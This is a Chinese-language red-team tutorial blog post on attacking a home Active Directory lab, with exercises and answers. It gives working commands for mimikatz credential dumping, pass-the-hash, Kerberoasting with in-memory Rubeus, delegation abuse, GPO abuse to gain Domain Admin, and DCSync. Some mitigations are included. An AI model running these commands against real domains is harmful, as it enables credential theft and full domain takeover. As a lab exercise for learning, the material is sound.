RedTeaming RedTeaming
首页
🤡Blog
🍓Marshal
  • 分类
  • 标签
  • 归档
GitHub

Wing

Less talk,More work!
首页
🤡Blog
🍓Marshal
  • 分类
  • 标签
  • 归档
GitHub
  • 安全开发

  • 渗透测试

  • 二进制安全

  • BypassAV

  • 漏洞利用

  • 内网渗透

    • 代理工具|技巧

    • Active-Directory-Security-101

      • Active-Directory-Security-101
        • 前置知识
        • 环境搭建
          • 配置域控
          • 配置域内机器
          • 攻击机器准备
          • bloodhound安装及配置
        • 信息收集
          • 课后习题
        • NTLM的利用
          • 课后习题
        • Kerberos-Roasting
          • 课后习题
        • Kerberos (Delegation)
          • 课后习题
        • ACL攻击
          • 课后习题
        • 权限维持
          • 课后习题
        • 参考答案
          • 信息收集
          • NTLM
          • Kerberos (Roasting)
          • Kerberos (Delegation)
          • ACL
          • 权限维持
  • Blog
  • 内网渗透
  • Active-Directory-Security-101
Wing
2021-07-19

Active-Directory-Security-101

# 前置知识

刚入门的小伙伴可以去京东或者淘宝购买这本书看一遍

Windows Server 2012 R2 系统配置指南_戴有炜编著
1

文章是根据https://github.com/cfalta/adse c 改编。

# 环境搭建


https://github.com/cfalta/adsec/tree/main/lab-setup

  • DC-Windows 2019
  • User-jack-Windows 2019
  • SqlServer-Windows 2019

# 配置域控

新增一个网卡,三个虚拟机使用这个网卡
image.png

设定指定ip
image.png
我是直接复制虚拟机,需要更改mac地址和sid。
image.png
还要更改sid
可以使用系统内置的工具sysprep或者另外一个newsid
image.png
工具https://newsid.softag.com/download
image.png

在三台机器上以管理员权限执行以下命令。

  • 关闭防火墙
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
1
  • 关闭Windows Defender
Uninstall-WindowsFeature -Name Windows-Defender
1

下载自动化脚本辅助安装
https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

运行createdomain脚本,自行修改里面的域名称。
这里应该不能一步完成
先执行

Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
1

重启后再继续执行。
image.png

image.png

重启后执行这个文件
image.png
image.png
功能就是根据json文件去自动添加用户和组等等。
image.png
image.png

# 配置域内机器

在两台成员机器上使用以下两个域账号注册

John Doe john P@ssw0rd
Bruce Lee blee TekkenIsAwesome!


user1这台用john认证
image.png
user2机器用blee登录

# 攻击机器准备

用john登录user1这台机器,当做入口点,再分配一张网卡,让他出网。
默认工具包下载地址
https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

# bloodhound安装及配置

谷歌一下

# 信息收集


导入powerview模块

cd C:\attacker-tools
cat -raw ".\PowerView.ps1" | iex
1
2

获取当前域的基本信息和域控位置

Get-Domain
Get-DomainController
1
2

image.png
查看有多少电脑和域内用户

Get-DomainComputer
Get-DomainUser
1
2

过滤出域管出来

Get-DomainUser | ? {$_.memberof -like "*Domain Admins*"}

Get-DomainUser | ? {$_.memberof -like "*Domain Admins*"} | select samaccountname

1
2
3
4

image.png
image.png

# 课后习题

参考答案我会放在最后面哦

  1. 域中有多少台计算机以及它们在什么操作系统上运行?
  2. 域中有多少用户?编写一个 powershell 语句进行查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。
  3. 您能识别出哪些自定义的管理员组?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
  4. 找到对应管理员组的成员,这些用户上一次设置密码是什么时候?
  5. 有快速识别出域中服务帐户的简单方法吗?编写一个 powershell 查询,列出所有服务帐户。

# NTLM的利用

  • mimikatz
  • psexec

需要管理员权限,使用本地administrator用户登录

privilege::debug
token::elevate
lsadump::sam
1
2
3

获得到管理员hash
7dfa0531d73101ca080c7379a9bff1c7
image.png
pth攻击

sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab
1

image.png

psexec.exe \\user2 cmd
1

image.png

# 课后习题

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
  2. 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
  3. 如何尽可能的缓解PTH攻击,请讲清楚原因。
  4. 是否有可能(并且可行)完全禁用 NTLM?解释你的理由。

# Kerberos-Roasting

预习资料域渗透——AS-REP Roasting
加载插件

cd C:\attacker-tools
cat -raw .\PowerView.ps1 | iex
cat -raw .\Invoke-Rubeus.ps1 | iex
1
2
3

查询SPN,获得服务用户

Get-DomainUser -SPN | select samaccountname, description, pwdlastset, serviceprincipalname
1

image.png Rubeus有一个统计kerberos数据的功能

Invoke-Rubeus -Command "kerberoast /stats"
1

获取目标账户的TGS

Invoke-Rubeus -Command "kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"
1

这里的脚本是base64之后通过powershell内存加载
image.png

function Invoke-Rubeus([string]$Command)
{
$Message="base64";

$Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Message))
[Rubeus.Program]::Main($Command.Split(" "))
}
1
2
3
4
5
6
7

image.png 破解TGS

.\john.exe ..\..\krb5tgs.txt --wordlist=..\..\example.dict --rules=passphrase-rule2
1

image.png

# 课后习题

  1. 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术,并解释其原因。
  2. 还有一个用户会受到ASREP roasting影响,请找出来。
  3. 解释一下TGS vs. ASREP roasting

# Kerberos (Delegation)

之前设置的时候没改json里面的数据,要把domain改了
image.png

找到委派用户

Get-DomainUser -TrustedToAuth
1

查看委派的目标

Get-DomainUser -TrustedToAuth | select -ExpandProperty msds-allowedtodelegateto
1

image.png
执行这个攻击的条件就是要知道用户的密码才行
生成hash

Invoke-Rubeus -Command "hash /password:Amsterdam2015 /domain:wing.lab /user:service1"
1

image.png Rubeus允许我们在新的登录会话中启动powershell。这意味着我们伪造的票证只存在于这个登录会话中,不会干扰用户john已经存在的kerboers票证。
image.png
使用s4u请求一个TGS模拟域管理用户Bruce(bwillis)攻击user1。

我们请求3个不同服务的票证
CIFS将用于SMB访问
HOST/RPCSS用于WMI

Invoke-Rubeus -Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab /ptt"
Invoke-Rubeus -Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073  /impersonateuser:bwillis /msdsspn:host/user1.wing.lab /ptt"
Invoke-Rubeus -Command "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab /ptt"

1
2
3
4

image.png 查看缓存的票据
前面我设置错了,委派的目标应该设置成user2,user1是自己,不过意思都一样。
image.png

 ls \\user1.wing.lab\C$
1

通过wmi控制user1

Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com
1

#

# 课后习题

  1. 在上面的练习中,您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令,将用户john添加到本地管理组
  2. 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用


# ACL攻击

信息收集

cat -raw .\SharpHound.ps1 | iex
1
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
1
  • CollectionMethod DcOnly表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是正常流量。
  • Stealth单线程启动。速度较慢,但安全。
  • PrettyJson 格式化.json文件。
  • NoSaveCache 不保存缓存文件。


启动血犬
image.png
下载社区版的neo4j
https://neo4j.com/download-center/#releases

❯ jdk11
❯ ./neo4j start
1
2

image.png

先把service1标记为已沦陷
image.png

点击这里
image.png

image.png
这里显示用户对域控的组策略有写入权限,通过组策略利用,攻击DC
需要先以service1的身份登录

runas /user:wing.lab\service1 powershell
1
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author contoso\adminuser --Command "cmd.exe" --Arguments '/c net group \"Domain Admins\" john /ADD' --GPOName "Default Domain Controllers Policy" --force

1
2

image.png
image.png

写入完成以后,需要等管理员更新组策略才会触发。
手工弄一下。
image.png
提权成功
image.png
成功登录到域控
image.png

# 课后习题

  • acl攻击有哪些利用工具?

# 权限维持

权限维持的东西比较多

  • 金银票据
  • Mimikatz后门
  • 等等等等


一般拿到DC权限就先执行

lsadump::dcsync /user:krbtgt
1

拿到所有用户hash,也可以作为后门。

# 课后习题

  • 自主学习这些权限维持方法的原理。

# 参考答案

我做的不一定对,有错误请留言。

# 信息收集

powerview3.0 tricks
https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

  1. 域中有多少台计算机以及它们在什么操作系统上运行?

image.png

  1. 域中有多少用户?编写一个 powershell 语句进行查询,以表格形式列出所有用户,仅显示属性 samaccountname、displayname、description 和最后一次密码更改的时间。

image.png

  1. 您能识别出哪些自定义的管理员组?以通用方式更改上面的 powershell 查询,使其仅返回自定义管理组。
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
1

image.png

  1. 找到对应管理员组的成员,这些用户上一次设置密码是什么时候?

image.png

  1. 有快速识别出域中服务帐户的简单方法吗?编写一个 powershell 查询,列出所有服务帐户。
 Get-DomainUser -SPN|select serviceprincipalname,userprincipalname,pwdlastset,lastlogon
1

image.png

# NTLM

猕猴桃命令大全

  1. mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?
privilege::debug - 提升为管理员权限
token::elevate - 伪造令牌,获得system权限或发现其他用户的令牌
1
2
  1. 以 Bruce Lee 的身份登录 user1。使用您在上面学到的知识帮助 john 从内存中远程提取 Bruce Lee的 NTLM 哈希。
lsadump::dcsync /domain:wing.lab /user:bruce

dump所有数据
lsadump::dcsync /domain:wing.lab /all /csv
1
2
3
4
  1. 如何尽可能的缓解PTH攻击,请讲清楚原因。
  • 打上补丁kb2871997并且禁用SID=500的管理员用户
  • 监控日志
  1. 是否有可能(并且可行)完全禁用 NTLM?解释你的理由。
  • 审查收到的NTLM流量:启用对所有帐户的审查
  • 仅发送NTLMv2响应。拒绝LM&NTLM

第四点我不太确定。

# Kerberos (Roasting)

  1. 研究如何最好地减轻 kerberoasting 攻击。描述一下您认为最好的缓解技术,并解释其原因。
  • 禁止用户开启Do not require Kerberos preauthentication
  • 禁止弱口令
  1. 还有一个用户会受到ASREP roasting影响,请找出来。

Get-DomainUser -PreauthNotRequired -Verbose

  1. 解释一下TGS vs. ASREP roasting

https://www.4hou.com/posts/YVyM

# Kerberos (Delegation)

  1. 在上面的练习中,您通过SMB和WMI获得了对服务器user的读取权限。现在试着通过这两个协议来执行代码。目标是执行以下命令,将用户john添加到本地管理组:
  • psexec
wmic /node:user1 process call create "cmd.exe /c net localgroup Administrators john /add"
1
  1. 尝试模拟域管理员用户Chuck Norris而不是“Bruce Willis。有什么作用?

可以攻击域控

# ACL

acl攻击有哪些利用工具?

  • github.com

# 权限维持

  • 自主学习这些权限维持的原理。
Edit this page
SockOverRdp

← SockOverRdp

最近更新
01
Yakit实战:快速挖掘前后端分离网站的API接口漏洞
07-28
02
调用阿里云OpenAPI创建抢占式实例
06-29
03
Github项目集成qodana进行静态代码扫描
06-26
更多文章>

Wing已运营本站:

本站总访问量 次 | 本站访客数 人
RedTeaming | Copyright © 2020-2024 Wing | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×